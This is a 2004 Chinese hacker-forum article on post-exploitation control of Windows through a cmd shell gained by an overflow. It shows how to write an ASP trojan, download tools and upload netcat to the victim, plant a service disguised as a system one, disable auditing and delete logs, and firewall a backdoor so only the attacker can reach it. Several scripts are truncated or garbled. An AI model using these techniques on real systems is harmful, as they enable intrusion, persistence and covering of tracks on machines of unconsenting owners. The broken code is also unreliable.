文档分类

- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- **安全技术** <=
- 业界动态

本类热门

- 如何利用黑客技术跟踪并分析一名目标人物
- 有关无线安全与黑客的话题
- 让我们回归(by 默难)
- 通用ShellCode深入剖析[转]
- Format String 漏洞介绍/总结(一)
- 结合实例解读ELF文件-阅读笔记(1)

Do All in Cmd Shell

提交文章： 艰苦
提交日期： 2004-05-14
文章属性： 转载
文档类别： 安全技术
浏览次数： 今1次/总2283次

目录

1，前言
2，文件传输
3，系统配置
4，网络配置
5，软件安装
6，Windows脚本
7，附言

前言

Cmd Shell(命令行交互)是黑客永恒的话题，它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输

对于溢出漏洞获得的cmd shell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护，通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法，介于其已被大家熟知，本文就不介绍了。还有三种大家熟悉的办法，作为总结我再提一下：

1，用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“ 体积 ”较大，不适合直接用echo命令写入文件，这里我提供一个小巧的。
直接给出echo版：

```
@echo ^ >up.asp
```

注意，只有一行，中间没有回车符。
生成的up.asp不能用浏览器访问，只能用下面这个脚本：

```
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo
"Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end
with >>dl.vbs
```

举例——下载ps.exe并保存到c:\path下：

cscript dl.vbshttp://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意，这是在远程shell中执行的。

4，Echo经过编码的任何文件，再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且，除非自己架Web服务器，一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具，还是没辙。那么只有出“杀手锏”了！

echo命令加重定向x作符可以写入ASCII码小于128的字符，但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符，才能方便地写入远程主机。首先能想到的就是base64编码，即email附件的编码方式。但vbs不支持位x作，因此编码和解码较复杂。更麻烦的是，脚本以二进制流方式处理文件的能力很差。（ADODB.Stream可以以流方式写文件，但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串，但反过来不行。我花了两天时间，还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中，恳请赐教。）

无奈只有请debug.exe出马了。原理很多人都知道，我不介绍了，直接给出成果——编码脚本：

```
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+""""+hex(slh)+""""+r+""rcx""+r+""""+hex(sll)_
+""""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp
"""&fn&"""&del debug.vbs"
end with
```

将其保存为echo.vbs。假设要上传nc.exe，那么在本地命令行输入命令：

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿，在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它，可以看到如下内容：

```
@echo str="4D5A90000300000004000000FFFF0000B80000000000
0000400000000000000000000000000000000000000000000000
00000000000000000000000000800000000E1FBA0E00B409
CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0D0D0A
2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F0
10B0105000098000000620000000000004C000000100000
00B0000000040000010000000020000040000000000000000
40000000000000000300100000400000000000000300000000
00100000100000000010000010000000000000010000000000
0000000000000"_>>debug.vbs
@echo +"002001003C000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000A02101006401000000
000000000000000000000000000000000000000000000002E7
4657874000000"_>>debug.vbs
@echo +"709700000010000000980000000400000000000000000000
000000000200000602E726461746100001704000000B00000
00060000009C0000000000000000000000000000400000402
E6461746100000044520000000C00000003E000000A2000000
```

```
00000000000000000000000400000C02E696461746100005C0
7000000200100"_>>debug.vbs
……
……（省略若干行）
……
@echo +""">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for
j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end
with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp
"NC.EXE"&del debug.vbs
```

全选 －》 复制 －》 切换到远程命令行窗口 －》 粘贴。
如果网速不是很慢的话，整个上传过程大约需要20秒。

几点说明：
1，大的文件传输不稳定，可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2，在传输大文件前，可以先传个小的文件作为“ 热身 ”，让16位虚拟机ntvdm.exe驻留后台。所有文件传完后，为隐蔽起见，应该把ntvdm进程杀掉。
3，某些cmd shell每个命令都需要附加两个回车，那nc.exe.bat就不能直接用了。
4，单个命令的长度是有限的，所以不能只用一个echo完成全部任务。而且，对于nc提供的cmd shell，稍长一些的命令竟然会使shell自动退出（溢出了？）。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5，解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量（因为压缩了数据）。如果有时间，我会写一个更完善的脚本，加强数据压缩能力，增加数据校验功能。

能上传文件当然一切都好办了，但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时，不要忘了Windows本身。

系统配置
这节包括三方面内容：注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。好在系统自带的regedit.exe足够用了。

1，读取注册表
先将想查询的注册表项导出，再用type查看，比如：

```
C:\>regedit /e 1.reg
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp"

C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d

C:\>del 1.reg
```

所以终端服务的端口是3389（十六进制d3d）

2，修改/删除注册表项
先echo一个reg文件，然后导入，比如：

```
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
```

将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。

要删除一个项，在名字前面加减号，比如：

```
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
```

要删除一个值，在等号后面用减号，比如：

```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
```

"KAVRun"=-

3，用inf文件访问注册表
上面对注册表的三个x作，也可以用下面这个inf文件来实现：

```
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
```

将它写入c:\path\reg.inf然后用下面这个命令“ 安装 ”：

```
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
```

几点说明：
1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。
My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。2323也可以用0x913代替。
关于inf文件的详细信息，可以参考DDK帮助文档。
2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。128表示给定路径，该参数其他取值及含义参见MSDN。特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。
3，inf文件中的项目都是大小写不敏感的。

接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，这里我们请inf文件出马。

增加一个服务：

```
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
```

保存为inetsvr.inf，然后：

```
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
```

这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。

几点说明：
1，最后四项分别是
服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；
启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启动，3 手动启动，4 禁用。
（注意，0和1只能用于驱动程序）
错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。
服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。

这四项是必须要有的。

2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。

删除一个服务：

```
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
```

很简单，不是吗？

当然，你也可以通过导入注册表达到目的。但inf自有其优势。
1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：

```
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
```

可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。而使用inf文件就完全没有这个问题，ServiceBinary（即ImagePath）自动成为REG_EXPAND_SZ。
2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。
3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。

另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。

先看secedit命令语法：

```
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
```

5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中
secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：

假设我要将密码长度最小值设置为6，并启用“密码必须符合复杂性要求”，那么先写这么一个模板：

```
[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1
```

保存为gp.inf，然后导入：

```
secedit /configure /db gp.sdb /cfg gp.inf /quiet
```

这个命令执行完成后，将在当前目录产生一个gp.sdb，它是“中间产品”，你可以删除它。/quiet参数表示“安静模式”，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：

```
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
```

另外，在导入模板前，还可以先分析语法是否正确：

secedit /validate gp.inf

那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。

再举个例子——关闭所有的“ 审核策略 ”。（它所审核的事件将记录在事件查看器的“ 安全性 ”里）。
echo版：

```
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
```

也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如“ 审核策略 ”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“ 管理模板 ”这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。

比如，XP和2003的“ 本地策略 ”—》“ 安全选项 ”增加了一个“ 本地帐户的共享和安全模式 ”策略。XP下默认的设置是“ 仅来宾 ”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“ 经典 ”：

```
echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
```

而相应的用inf，应该是：

```
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
```

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：

```
secedit /export /cfg gp.inf /log 1.log
```

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过，这样得到的只是组策略的一部分（即“ Windows设置 ”）。而且，某个策略如果未配置，是不会被导出的。比如“ 重命名系统管理员帐户 ”，只有被定义了才会在inf文件中出现NewAdministratorName="***"。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是gpresult。
但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是“ 空 ”。所以，如果想知道某些组策略是否被设置，只有先写一个inf，再用secedit /analyze，然后查看日志了。

网络配置

Windows自带的关于网络的命令行工具很多，比如大家熟悉的ping, tracert, ipconfig, telnet, ftp, tftp, netstat，还有不太熟悉的nbtstat, pathping, nslookup, finger, route, netsh……
这些命令又可分成三类：网络检测（如ping）、网络连接（如telnet）和网络配置（如netsh）。前面两种相对简单，本文只介绍两个网络配置工具。

netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过，很多shell不能再次重定向输出输出，所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是，一般交互式的工具都允许使用脚本（或者叫应答文件）。比如ftp -s:filename。netsh也是这样：netsh -f filename。

netsh命令的功能非常多，可以配置IAS、DHCP、RAS、WINS、NAT服务器，TCP/IP协议，IPX协议，路由等。我们不是管理员，一般没必要了解这么多，只需用netsh来了解目标主机的网络配置信息。

1，TCP/IP配置

```
echo interface ip >s
echo show config >>s
netsh -f s
del s
```

由此你可以了解该主机有多个网卡和IP，是否是动态分配IP(DHCP)，内网IP是多少（如果有的话）。这个命令和ipconfig /all差不多。

注意，以下命令需要目标主机启动remoteaccess服务。如果它被禁用，请先通过导入注册表解禁，然后net start remoteaccess

2，ARP

```
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
```

这个比arp -a命令多一点信息。

3，TCP/UDP连接

```
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
```

这组命令和netstat -an一样。

4，网卡信息
如果netsh命令都有其他命令可代替，那它还有什么存在的必要呢？下面这个就找不到代替的了。

```
echo interface ip >s
echo show interface >>s
netsh -f s
del s
```

netsh的其他功能，比如修改IP，一般没有必要使用（万一改了IP后连不上，就“叫天不应叫地不灵”了），所以全部略过。

IPSec
首先需要指出的是，IPSec和TCP/IP筛选是不同的东西，大家不要混淆了。TCP/IP筛选的功能十分有限，远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP系统用ipseccmd，2000下用ipsecpol。遗憾的是，它们都不是系统自带的。ipseccmd在xp系统安装盘的 SUPPORT\TOOLS\SUPPORT.CAB 中，ipsecpol在2000 Resource Kit里。而且，要使用ipsecpol还必须带上另外两个文件：ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制，但我找遍MSDN，也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以，组策略这条路走不通。IPSec的设置保存在

注册表中
(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local)，理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放，读取和修改都很困难。相比之下，上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料，网上可以找到很多，因此本文就不细说了，只是列举一些实用的例子。
在设置IPSec策略方面，ipseccmd命令的语法和ipsecpol几乎完全一样，所以只以ipsecpol为例：

1，防御rpc-dcom攻击

```
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp
*+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
```

这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下：
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源)；0表示本机地址(目标)；+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选x作是“ 阻塞 ”。注意，BLOCK必须是大写。
-w reg 将配置写入注册表，重启后仍有效。
-x 立刻激活该策略。

2，防止被ping

```
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
```

如果名为myfirewall的策略已存在，则antiping规则将添加至其中。
注意，该规则同时也阻止了该主机ping别人。

3，对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。
为了保护它不被别人暴破密码或溢出，应该限制对其服务端口6129的访问。

```
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
```

这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP，应该根据IP分配的范围设置规则。比如：

```
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
```

这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

在写规则的时候，应该特别小心，不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样，可以先用计划任务“ 留下后路 ”。例如：

```
c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。

c:\>time /t
12:34

c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业，其作业 ID = 1
```

然后，你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。如果测试结果不理想，就删除该策略。

```
c:\>ipsecpol -p myfw -o -w reg
```

注意，删除策略前必须先确保它已停止。不停止它的话，即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间，默认是180分钟。

如果测试通过，那么就启用它。

c:\>ipsecpol -p myfw -x -w reg

最后说一下查看IPSec策略的办法。
对于XP很简单，一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。（已经上传了三个文件，也就不在乎多一个了。）

netdiag需要RemoteRegistry服务的支持。所以先启动该服务：

net start remoteregistry

不启动RemoteRegistry就会得到一个错误：

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大，与网络有关的信息都可以获取！不过，输出的信息有时过于详细，超过命令行控制台cmd.exe的输出缓存，而不是每个远程cmd shell都可以用more命令来分页的。

查看ipsec策略的命令是：
netdiag /debug /test:ipsec

然后是一长串输出信息。IPSec策略位于最后。

软件安装
一个软件/工具的安装过程，一般来说只是做两件事：拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容，那么就可以自己在命令行下实现了。（不考虑安装后需要注册激活等情况）

WinPcap是个很常用的工具，但必须在窗口界面下安装。在网上也可以找到不用GUI的版本（但还是有版权页），其实我们完全可以自己做一个。

以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照，很容易了解整个安装过程。
除去反安装的部分，关键的文件有三个：wpcap.dll，packet.dll和npf.sys。前面两个文件位于system32目录下，第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意，是系统服务（即驱动）不是Win32服务。

作为系统服务，不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键，在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是，并不需要手动添加它，winpcap被调用时会自动搞定。甚至完全不用手动修改注册表，所有的事winpcap都会自己完成，只需要将三个文件复制到合适的位置就行了。

作为范例，还是演示一下如何修改注册表：利用前面说过的inf文件来实现。

```
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
```

将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat：

```
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
```

```
del npf.sys
:END
del %0
```

然后用winrar将所有文件（5个）打包为自解压的exe，并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat，命令行的winpcap安装包就制作完成了。

注意，批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装，基本上可以套用这个思路。但也有例外的，那就是系统补丁的安装。幸好，Windows补丁包支持命令行安装。
比如：

```
KB824146.exe -n -z -q
```

-n 不保留备份
-z 不重起
-q 安静模式

如果有一堆补丁要打，那么用RAR打包成自解压文件，外加一个批处理。

```
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0
```

Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

1，显示系统版本

```
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
```

2，列举进程

```
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next
>>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
```

3，终止进程

```
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next
>>pk.vbs
```

要终止PID为123的进程，使用如下语法：
cscript pk.vbs 123

如果显示一个0，表示终止成功。

然后：
del pk.vbs

4，重启系统

```
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_
>>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
```

5，列举自启动的服务

```
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_
>sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
```

@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

6，列举正在运行的服务

```
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_
>sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
```

7，显示系统最后一次启动的时间

```
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
```

显示结果的格式是：
yyyymmddHHMMSS******ZZZZ
_年_月日时分秒_微秒_时区

8，显示系统运行时间

```
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint®^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next
>>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
```

这个运行时间是从性能计数器中获得的64位整型数，不会出现在49.7天后溢出的情况。

附言
cmd shell博大精深，本文挂一漏万讲了一些常用技巧，希望对各位有所帮助。

也许你早知道了这些方法，也许你有更好的方法，希望你能写出来和大家分享。

最后，感谢你耐心看完本文。本人水平有限，错误之处恳请指正。

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net